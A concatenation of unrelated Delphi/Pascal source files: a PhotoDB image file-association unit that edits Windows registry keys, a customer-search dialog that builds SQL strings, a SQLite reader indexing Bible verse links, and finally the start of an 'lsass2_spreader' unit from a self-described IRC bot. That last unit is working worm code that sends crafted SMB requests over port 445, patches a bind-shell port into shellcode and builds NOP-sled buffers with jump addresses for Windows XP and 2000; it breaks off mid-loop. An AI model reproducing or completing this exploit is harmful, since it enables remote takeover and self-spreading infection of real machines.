Association := TFileAssociations.Instance.Exts[Ext];
if Association = nil then
Continue;
Association.State := StringToAssociationState(State);
end;
end;
finally
F(SL);
end;
Result := InstallGraphicFileAssociations(FileName, nil);
end;
function InstallGraphicFileAssociations(FileName: string; CallBack: TInstallAssociationCallBack): Boolean;
var
Reg: TRegistry;
I: Integer;
S, Ext: string;
B, C: Boolean;
Terminate, KeyAlreadyExists: Boolean;
CurrectAssociation: TAssociationState;
begin
Terminate := False;
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_LOCAL_MACHINE;
//The HKEY_CLASSES_ROOT subtree is a view formed by merging:
// HKEY_CURRENT_USER\Software\Classes
// and HKEY_LOCAL_MACHINE\Software\Classes
for I := 0 to TFileAssociations.Instance.Count - 1 do
begin
if Assigned(CallBack) then
CallBack(I, TFileAssociations.Instance.Count, Terminate);
if Terminate then
Break;
Ext := TFileAssociations.Instance[I].Extension;
CurrectAssociation := TFileAssociations.Instance.GetCurrentAssociationState(Ext);
case TFileAssociations.Instance[I].State of
TAS_UNINSTALL:
UnregisterPhotoDBAssociation(Ext, True);
TAS_NOT_INSTALLED,
TAS_INSTALLED_OTHER:
case CurrectAssociation of
TAS_PHOTODB_HANDLER:
UnregisterPhotoDBAssociation(Ext, False);
TAS_PHOTODB_DEFAULT:
UnregisterPhotoDBAssociation(Ext, True);
end;
TAS_PHOTODB_DEFAULT:
begin
KeyAlreadyExists := Reg.KeyExists(ASSOCIATION_PATH + Ext);
if Reg.OpenKey(ASSOCIATION_PATH + Ext, True) then
begin
if not KeyAlreadyExists then
Reg.WriteBool(ASSOCIATION_PHOTODB_FILE_EXT, True);
S := Reg.ReadString('');
Reg.CloseKey;
B := False;
if S = '' then
B := True;
if not B then
begin
Reg.OpenKey(ASSOCIATION_PATH + S + '\Shell\Open\Command', False);
B := Reg.ReadString('') = '';
Reg.CloseKey;
end;
if B then
begin
Reg.OpenKey(ASSOCIATION_PATH + Ext, True);
Reg.WriteString('', 'PhotoDB' + Ext);
Reg.CloseKey;
Reg.OpenKey(ASSOCIATION_PATH + 'PhotoDB' + Ext, True);
Reg.WriteString('', TFileAssociations.Instance[I].Description);
Reg.CloseKey;
Reg.OpenKey(ASSOCIATION_PATH + 'PhotoDB' + Ext + '\Shell\Open\Command', True);
Reg.WriteString('', Format('"%s" "%%1"', [FileName]));
Reg.CloseKey;
Reg.OpenKey(ASSOCIATION_PATH + 'PhotoDB' + Ext + '\DefaultIcon', True);
Reg.WriteString('', Filename + ',0');
Reg.CloseKey;
end else
begin
Reg.OpenKey(ASSOCIATION_PATH + Ext, True);
S := Reg.ReadString('');
if not StartsText('PhotoDB', S) then
Reg.WriteString('PhotoDB_PreviousAssociation', S);
Reg.WriteString('', 'PhotoDB' + Ext);
Reg.CloseKey;
Reg.OpenKey(ASSOCIATION_PATH + 'PhotoDB' + Ext, True);
Reg.WriteString('', TFileAssociations.Instance[I].Description);
Reg.CloseKey;
Reg.OpenKey(ASSOCIATION_PATH + 'PhotoDB' + Ext + '\Shell\Open\Command', True);
Reg.WriteString('', Format('"%s" "%%1"', [Filename]));
Reg.CloseKey;
Reg.OpenKey(ASSOCIATION_PATH + 'PhotoDB' + Ext + '\DefaultIcon', True);
Reg.WriteString('', Filename + ',0');
Reg.CloseKey;
end;
end;
end;
TAS_PHOTODB_HANDLER:
begin
KeyAlreadyExists := Reg.KeyExists(ASSOCIATION_PATH + Ext);
if Reg.OpenKey(ASSOCIATION_PATH + Ext, True) then
begin
if not KeyAlreadyExists then
Reg.WriteBool(ASSOCIATION_PHOTODB_FILE_EXT, True);
S := Reg.ReadString('');
Reg.CloseKey;
C := False;
B := True;
if S = '' then
C := True;
if not C then
begin
Reg.OpenKey(ASSOCIATION_PATH + S + '\Shell\Open\Command', False);
B := Reg.ReadString('') = '';
Reg.CloseKey;
end;
if B then
begin
Reg.OpenKey(ASSOCIATION_PATH + Ext, True);
Reg.WriteString('', 'PhotoDB' + Ext);
Reg.CloseKey;
end;
if B then
Reg.OpenKey(ASSOCIATION_PATH + 'PhotoDB' + Ext + '\Shell\' + ASSOCIATION_ADD_HANDLER_COMMAND, True)
else
Reg.OpenKey(ASSOCIATION_PATH + S + '\Shell\' + ASSOCIATION_ADD_HANDLER_COMMAND, True);
Reg.WriteString('', TA('View with PhotoDB', 'System'));
Reg.CloseKey;
if B then
Reg.OpenKey(ASSOCIATION_PATH + 'PhotoDB' + Ext + '\Shell\' + ASSOCIATION_ADD_HANDLER_COMMAND + '\Command', True)
else
Reg.OpenKey(ASSOCIATION_PATH + S + '\Shell\' + ASSOCIATION_ADD_HANDLER_COMMAND + '\Command', True);
Reg.WriteString('', Format('"%s" "%%1"', [Filename]));
if B then
begin
Reg.OpenKey(ASSOCIATION_PATH + 'PhotoDB' + Ext + '\DefaultIcon', True);
Reg.WriteString('', Filename + ',0');
end;
Reg.CloseKey;
end;
end;
end;
end;
finally
F(Reg);
end;
Result := True;
end;
function IsGraphicFile(FileName: string): Boolean;
begin
Result := Pos('|' + AnsiLowerCase(ExtractFileExt(FileName)) + '|', TFileAssociations.Instance.ExtensionList) > 0;
end;
{ TFileAssociation }
function TFileAssociation.GetDescription: string;
begin
Result := TA(FDescription, 'Associations');
end;
{ TFileAssociations }
class function TFileAssociations.Instance: TFileAssociations;
begin
FGlobalSync.Enter;
try
if FInstance = nil then
FInstance := TFileAssociations.Create;
Result := FInstance;
finally
FGlobalSync.Leave;
end;
end;
function TFileAssociations.IsConvertableExt(Ext: String): Boolean;
var
I: Integer;
Association: TFileAssociation;
begin
FSync.Enter;
try
Result := False;
Ext := AnsiLowerCase(Ext);
for I := 0 to Count - 1 do
begin
Association := Self[I];
if Association.Extension = Ext then
begin
Result := Association.CanSave;
Exit;
end;
end;
finally
FSync.Leave;
end;
end;
procedure TFileAssociations.AddFileExtension(Extension, Description, ExeParams: string; Group: Integer; GraphicClass: TGraphicClass; CanSave: Boolean = False);
var
Ext : TFileAssociation;
begin
FChanged := True;
Ext := TFileAssociation.Create;
Ext.Extension := Extension;
Ext.ExeParams := ExeParams;
Ext.Description := Description;
Ext.Group := Group;
Ext.GraphicClass := GraphicClass;
Ext.CanSave := CanSave;
FAssociations.Add(Ext);
end;
procedure TFileAssociations.AddFileExtension(Extension, Description: string; Group: Integer; GraphicClass: TGraphicClass; CanSave: Boolean = False);
begin
AddFileExtension(Extension, Description, '', Group, GraphicClass, CanSave);
end;
constructor TFileAssociations.Create;
begin
FSync := TCriticalSection.Create;
FAssociations := TList.Create;
FillList;
end;
destructor TFileAssociations.Destroy;
begin
FreeList(FAssociations);
F(FSync);
inherited;
end;
procedure TFileAssociations.FillList;
begin
FSync.Enter;
try
AddFileExtension('.jfif', 'JPEG Images', 0, TJpegImage);
AddFileExtension('.jpg', 'JPEG Images', 0, TJpegImage, True);
AddFileExtension('.jpe', 'JPEG Images', 0, TJpegImage);
AddFileExtension('.jpeg', 'JPEG Images', 0, TJpegImage);
AddFileExtension('.thm', 'JPEG Images', 0, TJpegImage);
AddFileExtension('.tiff', 'TIFF images', 1, TTiffImage, True);
AddFileExtension('.tif', 'TIFF images', 1, TTiffImage);
AddFileExtension('.psd', 'Photoshop Images', 2, TPSDGraphic);
AddFileExtension('.pdd', 'Photoshop Images', 2, TPSDGraphic);
AddFileExtension('.gif', 'Animated images', 3, TGIFImage, True);
AddFileExtension('.png', 'Portable network graphic images', 4, TPngImage, True);
AddFileExtension('.bmp', 'Standard Windows bitmap images', 5, TBitmap, True);
AddFileExtension('.rle', 'Standard Windows bitmap images', 5, TBitmap);
AddFileExtension('.dib', 'Standard Windows bitmap images', 5, TBitmap);
AddFileExtension('.3fr', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.arw', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.bay', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.cap', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.cine', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.cr2', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.crw', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.cs1', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.dc2', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.dcr', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.drf', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.dsc', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.dng', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.erf', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.fff', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.ia', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.iiq', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.k25', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.kc2', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.kdc', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.mdc', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.mef', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.mos', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.mrw', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.nef', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.nrw', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.orf', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.pef', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.xxx', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.ptx', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.pxn', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.qtk', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.raf', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.raw', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.rdc', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.rw2', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.rwl', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.rwz', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.sr2', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.srf', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.srw', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.sti', 'Camera RAW Images', 6, TRAWImage);
AddFileExtension('.rla', 'SGI Wavefront images', 7, TRLAGraphic);
AddFileExtension('.rpf', 'SGI Wavefront images', 7, TRLAGraphic);
AddFileExtension('.pic', 'Autodesk images files', 8, TAutodeskGraphic);
AddFileExtension('.cel', 'Autodesk images files', 8, TAutodeskGraphic);
AddFileExtension('.ppm', 'Portable pixel/gray map images', 9, TPPMGraphic);
AddFileExtension('.pgm', 'Portable pixel/gray map images', 9, TPPMGraphic);
AddFileExtension('.pbm', 'Portable pixel/gray map images', 9, TPPMGraphic);
AddFileExtension('.fax', 'GFI fax images', 10, TTiffImage);
AddFileExtension('.tga', 'Truevision images', 11, TTargaGraphic, True);
AddFileExtension('.vst', 'Truevision images', 11, TTargaGraphic);
AddFileExtension('.icb', 'Truevision images', 11, TTargaGraphic);
AddFileExtension('.vda', 'Truevision images', 11, TTargaGraphic);
AddFileExtension('.win', 'Truevision images', 11, TTargaGraphic);
AddFileExtension('.pcc', 'ZSoft Paintbrush images', 12, TPCXGraphic);
AddFileExtension('.pcx', 'ZSoft Paintbrush images', 12, TPCXGraphic);
AddFileExtension('.sgi', 'SGI images', 13, TSGIGraphic);
AddFileExtension('.rgba', 'SGI images', 13, TSGIGraphic);
AddFileExtension('.rgb', 'SGI images', 13, TSGIGraphic);
AddFileExtension('.bw', 'SGI images', 13, TSGIGraphic);
AddFileExtension('.pcd', 'Kodak Photo-CD images', 14, TPCDGraphic);
AddFileExtension('.psp', 'Paintshop Pro images', 15, TPSPGraphic);
AddFileExtension('.cut', 'Dr. Halo images', 16, TCUTGraphic);
AddFileExtension('.pal', 'Dr. Halo images', 16, TCUTGraphic);
AddFileExtension('.jps', 'JPEG 3D Images', 17, TAnimatedJPEG);
AddFileExtension('.mpo', 'JPEG 3D Images', 17, TAnimatedJPEG);
AddFileExtension('.jp2', 'JPEG 2000 Images', 18, TFreeImageImage);
AddFileExtension('.j2k', 'JPEG 2000 Images', 18, TFreeImageImage);
AddFileExtension('.jpf', 'JPEG 2000 Images', 18, TFreeImageImage);
AddFileExtension('.jpx', 'JPEG 2000 Images', 18, TFreeImageImage);
AddFileExtension('.jpm', 'JPEG 2000 Images', 18, TFreeImageImage);
AddFileExtension('.mj2', 'JPEG 2000 Images', 18, TFreeImageImage);
AddFileExtension('.dds', 'DirectDraw Surface graphics', 19, TFreeImageImage);
AddFileExtension('.exr', 'HDR Images', 20, TFreeImageImage);
AddFileExtension('.hdr', 'HDR Images', 20, TFreeImageImage);
AddFileExtension('.iff', 'Amiga IFF Graphic', 20, TFreeImageImage);
AddFileExtension('.jng', 'JPEG Network Graphic', 21, TFreeImageImage);
// AddFileExtension('.xbm', 'X11 Bitmap Graphic', 22, TFreeImageImage);
//AddFileExtension('.xpm', 'X11 Bitmap Graphic', 22, TFreeImageImage);
//AddFileExtension('.mng', 'Multiple Network Graphic', 21, TFreeImageImage);
//AddFileExtension('.eps', 'Encapsulated Postscript images', 18, TEPSGraphic);
finally
FSync.Leave;
end;
end;
function TFileAssociations.GetAssociationByExt(
Ext: string): TFileAssociation;
var
I : Integer;
begin
Result := nil;
for I := 0 to Count - 1 do
begin
if Self[I].Extension = Ext then
begin
Result := Self[I];
Exit;
end;
end;
end;
function TFileAssociations.GetAssociations(Index: Integer): TFileAssociation;
begin
Result := FAssociations[Index];
end;
function TFileAssociations.GetCount: Integer;
begin
Result := FAssociations.Count;
end;
function TFileAssociations.GetCurrentAssociationState(
Extension: string): TAssociationState;
var
Reg: TRegistry;
AssociationHandler, AssociationCommand : string;
begin
Reg := TRegistry.Create(KEY_READ);
try
Reg.RootKey := HKEY_CLASSES_ROOT;
Reg.OpenKey(Extension, False);
AssociationHandler := Reg.ReadString('');
Reg.CloseKey;
Reg.OpenKey(AssociationHandler + '\shell\open\command', False);
AssociationCommand := Reg.ReadString('');
Reg.CloseKey;
if AssociationCommand = '' then
begin
Reg.CloseKey;
Reg.OpenKey(AssociationHandler + '\shell\' + ASSOCIATION_ADD_HANDLER_COMMAND + '\command', False);
AssociationCommand := Reg.ReadString('');
if Pos('photodb.exe', AnsiLowerCase(AssociationCommand)) > 0 then
Result := TAS_PHOTODB_HANDLER
else
Result := TAS_NOT_INSTALLED;
end else
begin
if Pos('photodb.exe', AnsiLowerCase(AssociationCommand)) > 0 then
Result := TAS_PHOTODB_DEFAULT
else begin
Reg.CloseKey;
Reg.OpenKey(AssociationHandler + '\shell\' + ASSOCIATION_ADD_HANDLER_COMMAND + '\command', False);
AssociationCommand := Reg.ReadString('');
if Pos('photodb.exe', AnsiLowerCase(AssociationCommand)) > 0 then
Result := TAS_PHOTODB_HANDLER
else
Result := TAS_INSTALLED_OTHER;
end;
end;
finally
F(Reg);
end;
end;
function TFileAssociations.GetExtensionList: string;
begin
FSync.Enter;
try
if FChanged then
begin
UpdateCache;
FChanged := False;
end;
Result := FExtensionList;
finally
FSync.Leave;
end;
end;
function TFileAssociations.GetExtendedFullFilter(UseGroups, ForOpening: Boolean; AdditionalExtInfo: TDictionary<string, string>): string;
var
Association: TFileAssociation;
AllExtensions: TStrings;
I: Integer;
OldGroup: Integer;
begin
AllExtensions := TStringList.Create;
try
OldGroup := -1;
for I := 0 to Self.Count - 1 do
begin
Association := Self[I];
if OldGroup <> Association.Group then
AllExtensions.Add(Association.Extension);
OldGroup := Association.Group;
end;
Result := GetFilter(JoinList(AllExtensions, '|'), True, True, AdditionalExtInfo) + '|';
finally
F(AllExtensions);
end;
end;
function TFileAssociations.GetFilter(ExtList: string; UseGroups,
ForOpening: Boolean; AdditionalExtInfo: TDictionary<string, string> = nil): string;
var
I, J: Integer;
ResultList,
EList,
AllExtList,
RequestExts, AdditionalExts: TStrings;
Association: TFileAssociation;
AGroup: Integer;
AExt, ADesc: string;
Pair: TPair<string, string>;
begin
FSync.Enter;
try
ResultList := TStringList.Create;
try
EList := TStringList.Create;
RequestExts := TStringList.Create;
AllExtList := TStringList.Create;
try
SplitString(ExtList, '|', RequestExts);
if AdditionalExtInfo <> nil then
for Pair in AdditionalExtInfo do
RequestExts.Add(Pair.Key);
for I := 0 to RequestExts.Count - 1 do
begin
AGroup := -1;
EList.Clear;
Association := Self.Exts[RequestExts[I]];
if Association = nil then
begin
if AdditionalExtInfo = nil then
Continue;
AExt := RequestExts[I];
ADesc := AdditionalExtInfo[AExt];
end else
begin
AGroup := Association.Group;
AExt := Association.Extension;
ADesc := Association.Description;
end;
if UseGroups then
begin
if Association <> nil then
for J := 0 to Self.Count - 1 do
if Self[J].Group = AGroup then
EList.Add('*' + Self[J].Extension);
if Association = nil then
begin
AdditionalExts := TStringList.Create;
try
SplitString(AExt, ',', AdditionalExts);
for J := 0 to AdditionalExts.Count - 1 do
EList.Add('*' + AdditionalExts[J])
finally
F(AdditionalExts);
end;
end;
end else
begin
if Association <> nil then
EList.Add('*' + AExt);
end;
ResultList.Add(Format('%s (%s)|%s',
[TA(ADesc, 'Associations'),
JoinList(EList, ','),
JoinList(EList, ';')]));
if ForOpening then
AllExtList.AddStrings(EList);
end;
if ForOpening and (RequestExts.Count > 1) then
begin
ResultList.Insert(0, Format('%s (%s)|%s',
[TA('All supported formats', 'Associations'),
JoinList(AllExtList, ','),
JoinList(AllExtList, ';')]));
end;
finally
F(RequestExts);
F(EList);
F(AllExtList);
end;
Result := JoinList(ResultList, '|');
finally
F(ResultList);
end;
finally
FSync.Leave;
end;
end;
procedure TFileAssociations.UpdateCache;
var
Association: TFileAssociation;
AllExtensions: TStrings;
I: Integer;
OldGroup: Integer;
begin
AllExtensions := TStringList.Create;
FExtensionList := '';
try
OldGroup := -1;
for I := 0 to Self.Count - 1 do
begin
Association := Self[I];
if I <> 0 then
FExtensionList := FExtensionList + '|';
FExtensionList := FExtensionList + Association.Extension;
if OldGroup <> Association.Group then
AllExtensions.Add(Association.Extension);
OldGroup := Association.Group;
end;
FExtensionList := '|' + FExtensionList + '|';
FFullFilter := GetFilter(JoinList(AllExtensions, '|'), True, True) + '|';
finally
F(AllExtensions);
end;
end;
function TFileAssociations.GetFullFilter: string;
begin
FSync.Enter;
try
if FChanged then
begin
UpdateCache;
FChanged := False;
end;
Result := FFullFilter;
finally
FSync.Leave;
end;
end;
function TFileAssociations.GetGraphicClass(Ext: String): TGraphicClass;
var
I: Integer;
Association: TFileAssociation;
begin
FSync.Enter;
try
Result := nil;
Ext := AnsiLowerCase(Ext);
for I := 0 to Count - 1 do
begin
Association := Self[I];
if Association.Extension = Ext then
begin
Result := Association.GraphicClass;
Exit;
end;
end;
finally
FSync.Leave;
end;
end;
function TFileAssociations.GetGraphicClassExt(
GraphicClass: TGraphicClass): string;
var
I: Integer;
Association: TFileAssociation;
begin
FSync.Enter;
try
Result := '';
for I := 0 to Count - 1 do
begin
Association := Self[I];
if (Association.GraphicClass = GraphicClass) and Association.CanSave then
begin
Result := Association.Extension;
Exit;
end;
end;
if Result = '' then
for I := 0 to Count - 1 do
begin
Association := Self[I];
if (Association.GraphicClass = GraphicClass) then
begin
Result := Association.Extension;
Exit;
end;
end;
if Result = '' then
Result := '.' + GraphicExtension(GraphicClass);
finally
FSync.Leave;
end;
end;
function IsRAWImageFile(FileName: string): Boolean;
begin
Result := TFileAssociations.Instance.GetGraphicClass(ExtractFileExt(FileName)) = TRAWImage;
end;
function CanShareVideo(FileName: string): Boolean;
var
Ext: string;
begin
Ext := AnsiLowerCase(ExtractFileExt(FileName));
Result := False;
Result := Result or (Ext = '.3gp2');
Result := Result or (Ext = '.3gpp');
Result := Result or (Ext = '.3gp');
Result := Result or (Ext = '.3g2');
Result := Result or (Ext = '.avi');
Result := Result or (Ext = '.mov');
Result := Result or (Ext = '.mp4');
Result := Result or (Ext = '.mpeg');
Result := Result or (Ext = '.mpeg4');
Result := Result or (Ext = '.asf');
Result := Result or (Ext = '.wmv');
end;
initialization
FGlobalSync := TCriticalSection.Create;
finalization
F(FInstance);
F(FGlobalSync);
end.
|
unit Dialog_FiltMemb;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, RzLabel, Mask, RzEdit, RzBtnEdt;
type
TDialogFiltMemb = class(TForm)
Edit_Code: TRzButtonEdit;
Labl_1: TRzLabel;
Labl_2: TRzLabel;
Btnx_Mrok: TButton;
Btnx_Quit: TButton;
Edit_Name: TRzButtonEdit;
procedure Btnx_QuitClick(Sender: TObject);
procedure Btnx_MrokClick(Sender: TObject);
procedure FormShow(Sender: TObject);
private
procedure SetCommParams;
public
function ExportStrSQL:string;
end;
var
DialogFiltMemb: TDialogFiltMemb;
function FuncFiltMemb(var ASQL:string):Integer;
implementation
{$R *.dfm}
function FuncFiltMemb(var ASQL:string):Integer;
begin
try
DialogFiltMemb:=TDialogFiltMemb.Create(nil);
Result:=DialogFiltMemb.ShowModal;
if Result=Mrok then
begin
ASQL:=DialogFiltMemb.ExportStrSQL;
end;
finally
FreeAndNil(DialogFiltMemb);
end;
end;
procedure TDialogFiltMemb.Btnx_QuitClick(Sender: TObject);
begin
ModalResult:=mrCancel;
end;
procedure TDialogFiltMemb.Btnx_MrokClick(Sender: TObject);
begin
ModalResult:=mrOk;
end;
function TDialogFiltMemb.ExportStrSQL: string;
begin
Result:='SELECT * FROM TBL_MEMB WHERE 1=1';
if Trim(Edit_Code.Text)<>'' then
begin
Result:=Result+' AND MEMB_CODE=%S';
Result:=Format(Result,[QuotedStr(Edit_Code.Text)]);
end;
if Trim(Edit_Name.Text)<>'' then
begin
Result:=Result+' AND MEMB_NAME LIKE'+QuotedStr('%'+Trim(Edit_Name.Text)+'%');
end;
end;
procedure TDialogFiltMemb.SetCommParams;
begin
Caption:='¿Í»§²éÕÒ';
end;
procedure TDialogFiltMemb.FormShow(Sender: TObject);
begin
SetCommParams;
end;
end.
|
unit twmreader;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, sqlite3conn, sqldb, regexpr, cmtwriter, rtfutil;
type
TOnLog = procedure(msg: String) of object;
TTwmReader = class(TObject)
FOnLog: TOnLog;
conn: TSQLite3Connection;
tx: TSQLTransaction;
cmtwriter: TCmtWriter;
private
title: String;
bLinkname: String;
procedure readMetadata();
procedure processContentRecords();
procedure processData(tId: Integer; tSubject, data: String);
procedure processVerseRef(tId: Integer; tSubject, bi, ci, fvi, tvi: String);
public
procedure open(filename: String; indexTwmParam: TCmtWriter);
procedure process();
procedure close();
property OnLog: TOnLog read FOnLog write FOnLog;
end;
implementation
procedure TTwmReader.open(filename: String; indexTwmParam: TCmtWriter);
begin
cmtwriter := indexTwmParam;
bLinkname := ExtractFileName(filename);
bLinkname := bLinkname.Substring(0, Length(bLinkname)-4);
if Assigned(FOnLog) then FOnLog('Indexing '+bLinkname);
conn := TSQLite3Connection.Create(nil);
conn.DatabaseName := filename;
tx := TSQLTransaction.Create(conn);
tx.DataBase := conn;
conn.Connected := True;
end;
procedure TTwmReader.close();
begin
conn.Close();
end;
procedure TTwmReader.process();
begin
readMetadata();
processContentRecords();
end;
procedure TTwmReader.processContentRecords();
var
q: TSQLQuery;
tId: integer;
tSubject, tData: String;
begin
q := TSQLQuery.Create(conn);
q.DataBase := conn;
q.Transaction := tx;
q.SQL.Text := 'SELECT t.id as tid, c.data as data, t.subject as subject FROM content c LEFT JOIN topics t ON c.topic_id=t.id';
q.UniDirectional := True;
q.Open();
while not q.EOF do
begin
tId := q.FieldByName('tid').AsInteger;
tSubject := q.FieldByName('subject').AsString;
tData := q.FieldByName('data').AsString;
processData(tId, tSubject, tData);
q.Next
end;
q.Close;
q.Free;
end;
procedure TTwmReader.processData(tId: Integer; tSubject, data: String);
var
re: TRegExpr;
begin
re := TRegExpr.Create('HYPERLINK "tw://bible\.\*\?id=([0-9]*)\.([0-9]*)\.([0-9]*)(\-([0-9]*)\.([0-9]*)\.([0-9]*))?\|');
if re.Exec(data) then
begin
processVerseRef(tid, tSubject, re.Match[1], re.Match[2], re.Match[3], re.Match[7]);
while re.ExecNext do
begin
processVerseRef(tId, tSubject, re.Match[1], re.Match[2], re.Match[3], re.Match[7]);
end;
end;
re.Free;
end;
procedure TTwmReader.processVerseRef(tId: Integer; tSubject, bi, ci, fvi, tvi: String);
var
iTvi: Integer;
begin
if (Length(tvi) > 0) then
iTvi := StrToInt(tvi)
else
iTvi := StrToInt(fvi);
cmtwriter.addVerseRef(StrToInt(bi), StrToInt(ci), StrToInt(fvi), iTvi, title, createTopicLink(bLinkname, IntToStr(tId), tSubject));
end;
procedure TTwmReader.readMetadata();
var
q: TSQLQuery;
currentField: String;
begin
q := TSQLQuery.Create(conn);
q.DataBase := conn;
q.Transaction := tx;
q.SQL.Text := 'SELECT * FROM config';
q.Open();
while not q.EOF do
begin
currentField := q.FieldByName('name').AsString;
if (currentField = 'title') then
title := q.FieldByName('value').AsString;
if ((currentField = 'id') and (Length(q.FieldByName('value').AsString) > 0)) then
bLinkname := q.FieldByName('value').AsString;
q.Next
end;
q.Close;
q.Free;
end;
end.
|
(*
Project : unnamed -Bot
Author : p0ke
Homepage : http://unnamed.bot.nu/
Credits : Redlime - Helped with coding.
Tzorcelan - Helped with coding and testing spread.
Positron - Coded netbios-spread orginal. I Modified it.
- http://positronvx.cjb.net
Ago - Ported alot of c++ code from him.
siaze - Inject function to memory
Shouts : Robb, Skäggman, #swerat, #chasenet, #undergroundkonnekt
xcel, Codius, KOrvEn, ZiN
Crews : sweRAT Crew - http://www.swerat.com
chaseNet Crew - http://www.chasenet.org
undergroundkonnekt - http://undergroundkonnekt.net
--
This LSASS2 Exploit was ported from Phatbot (by PhaTTy) greets.
This LSASS2 Exploit only supports WinXP exploiting
BIG Thanks to tzor for running his honeypot. Without it
i wouldnt be able to successfully port this exploit.
*)
Unit lsass2_spreader;
Interface
Uses
Windows,
Winsock,
untFTPD,
untCrypt,
untGlobalDeclare,
lsass_const; // All shellcode/requests.
Function LSASSRoot(szAddress: String; RootXP: Boolean; Sock: TSocket; var lerror:string): Boolean;
implementation
Procedure MemSet(Var Str: String; C: String; L: Integer);
Begin
Str := '';
While Length(Str) < L Do
Str := Str + C;
End;
Function IntToStr(Const Value: Integer): String;
Var
S: String[11];
Begin
Str(Value, S);
Result := S;
End;
function cryptsend(sock: tsocket; var text; len: integer; flag: integer): integer;
var
temp :string;
begin
temp := crypt(string(text), c_key);
len := length(temp);
move(temp[1], text, len);
result := send(sock, text, len, flag);
end;
Function LSASSRoot(szAddress: String; RootXP: Boolean; Sock: TSocket; var lerror:string): Boolean;
Var
HostIPC :String;
HostIPC2 :Array[1..80] Of Char;
szRecvBuf :Array[0..1600] Of Char;
req4u :String;
smbLen :Byte;
uncLen :Byte;
mkdir_buff :String;
strBuffer :String;
screq :String;
screq2k :String;
screq2k2 :String;
Buf :String;
SendBuf :String;
I :Integer;
Port :Short;
SC :String;
strasm :String;
// Sock :TSocket;
Addr :TSockAddrIn;
outSock :TSocket;
WSA :TWSAData;
WINXPJMPCODE :DWord;
WIN2KJMPCODE :DWord;
Begin
Result := False;
WINXPJMPCODE := $01004600;
WINXPJMPCODE := $7515123c;
MemSet(HostIPC, NOP, 40);
MemSet(Req4u, NOP, Length(req4)+20);
MemSet(strBuffer, NOP, BUFSIZE);
MemSet(screq, NOP, BUFSIZE+Length(req7)+1500+440);
MemSet(screq2k, NOP, 4348+4060);
MemSet(screq2k2, NOP, 4348+4060);
strasm := #$66#$81#$EC#$1C#$07#$FF#$E4;
// WSAStartUP($101, WSA);
{
Sock := Socket(AF_INET, SOCK_STREAM, 0);
Addr.sin_family := AF_INET;
Addr.sin_port := hTons(445);
Addr.sin_addr.S_addr := inet_addr(pChar(szAddress));
If Connect(Sock, Addr, SizeOf(Addr)) <> 0 Then
Exit;
}
lerror := 'failed to send data';
// Send request1
If cryptsend(Sock, Req1[1], Length(Req1), 0) < 1 Then Exit;
If Recv(Sock, szRecvBuf[0], 1600, 0) < 1 Then Exit;
// Send request2
If cryptsend(Sock, Req2[1], Length(Req2), 0) < 1 Then Exit;
If Recv(Sock, szRecvBuf[0], 1600, 0) < 1 Then Exit;
// Send request3
If cryptsend(Sock, Req3[1], Length(Req3), 0) < 1 Then Exit;
If Recv(Sock, szRecvBuf[0], 1600, 0) < 1 Then Exit;
MemSet(HostIPC, '\\\\'+szAddress+'\\ipc$', 40);
For I := 1 To 40 Do
Begin
HostIPC2[I*2] := HostIPC[I];
HostIPC2[I*2+1] := #0;
End;
Move(Req4[1], Req4u[1], Length(Req4));
Move(HostIPC2[1], Req4u[48], SizeOf(HostIPC2));
Move(Req4[87], Req4u[47+Length(HostIPC)*2], 9);
smbLen := 52 + Length(HostIPC);
Move(smbLen, Req4u[3], 1);
uncLen := 9 + Length(HostIPC) * 2;
Move(uncLen, Req4u[45], 1);
Port := hTons(dPort) XOR Short($9999);
Move(Port, BindShell[176], 2);
SC := BindShell;
If Not RootXP Then
Begin
MemSet(Buf, NOP, LEN);
Move(WIN2KJMPCODE, Buf[2844], 4);
Move(SC[1], Buf[2856], Length(SC));
Buf[2480] := #$eb;
Buf[2841] := #$06;
Buf[2842] := #$eb;
Buf[2843] := #$06;
Move(WIN2KJMPCODE, Buf[2844], 4);
Move(SC[1], Buf[2856], Length(SC));
MemSet(SendBuf, NOP, (LEN+1)*2);
For I := 1 To LEN Do
Begin
